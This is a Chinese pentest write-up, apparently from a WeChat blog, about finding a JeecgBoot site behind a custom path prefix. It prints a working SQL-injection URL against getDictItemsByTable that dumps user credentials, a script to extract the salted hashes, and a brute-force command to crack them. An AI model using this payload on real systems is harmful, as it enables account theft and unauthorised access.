免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
1
Start
最近项目上碰到一个比较有意思的站点,其本身是jeecg框架,但是用一些常用的可以扫描指纹工具例如ez,tscan之类的都识别不了他的指纹情况,以至于最开始的时候我是把他作为一个正常的“开局一个登录框”的系统来测试的,直到我抓了他的登录请求包。。。
2
Action
他的登录请求包大概是这样的结构,/xxx/sys/login(xxx只是一个替代,真实路径是一个相对复杂的字符串),是不是很常见?一般来说这个/xxx是网站的接口前缀,也就是说基本上这个网站的大部分接口开头都是/xxx。目前来看/xxx倒还不是重点,重点在后面的/sys/login这里,经验丰富的老师傅们敏锐的嗅觉可能很快就发现了,貌似,,jeecg框架的站点,登录请求的接口就是/sys/login
对吧,当时我就警惕了起来,众所周知,jeecg的框架大部分都会自定义前缀的路径,以混淆匹配jeecg关键字来识别框架的指纹扫描工具,感觉有戏,然后我就推出了二营长刚缴获的jeecg的Nday大炮,对他一通狂轰乱炸
诺~喝口水的功夫这洞不就来了么
可能有些铁汁对这个洞不是很了解,可以参考一下这个链接
https://github.com/jeecgboot/JeecgBoot/issues/5150
不过没关系,探测到漏洞会用就好了,我们直接访问站点的/xxx/sys/ng-alain/getDictItemsByTable/'%20from%20sys_user/*,%20'/x.js来看看怎么回事。直接炸出来了几十个系统的账号,密码信息。
但是正如上图琐事,password是没法直接用的,人家是经过加盐处理过的,那么对于这种情况我们如何是好呢?
已经有大佬给我们准备好现成的工具了,后台私信“jeecg爆破”获取工具下载链接。我们只需要按照工具的readme部分介绍的那样先写一个脚本,这里贴上我的参考脚本信息,需要将响应内容保存到1.txt中。
import json
# 读取1.txt文件内容
with open('1.txt', 'r', encoding='utf-8') as file:
content = file.read()
# 将内容解析为JSON
data = json.loads(content)
# 提取每条数据的salt、username和password
output_data = []
for entry in data:
extracted_info = {
'salt': entry.get('salt'),
'username': entry.get('username'),
'password': entry.get('password')
}
output_data.append(extracted_info)
# 输出到data.json文件
with open('data.json', 'w', encoding='utf-8') as json_file:
json.dump(output_data, json_file, ensure_ascii=False, indent=4)
print("数据已成功写入data.json")
取出对应的数据,放到根目录下的data.json
,然后准备一个字典,放到根目录下的pass.txt
然后执行java -jar JeecgBoot-offline-brute.jar即可爆破数据中的弱口令账号密码信息
最后就这么水灵灵的进入后台了
故事的最开始,谁也没想到工具没有扫出来他的指纹框架信息,所以平时也不能过度依赖工具,注重个人经验积累也是尤为重要的。如果不是登录接口/sys/login暴露了自己,后续也不会那么的顺利。
3
End
一个成熟的韭菜应该已经自觉联系斯叔主页微信,咨询如何被噶了。你,是嘛?
原文始发于微信公众号(跟着斯叔唠安全):一个平平无奇的登录接口竟能引发账号密码泄露。。。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论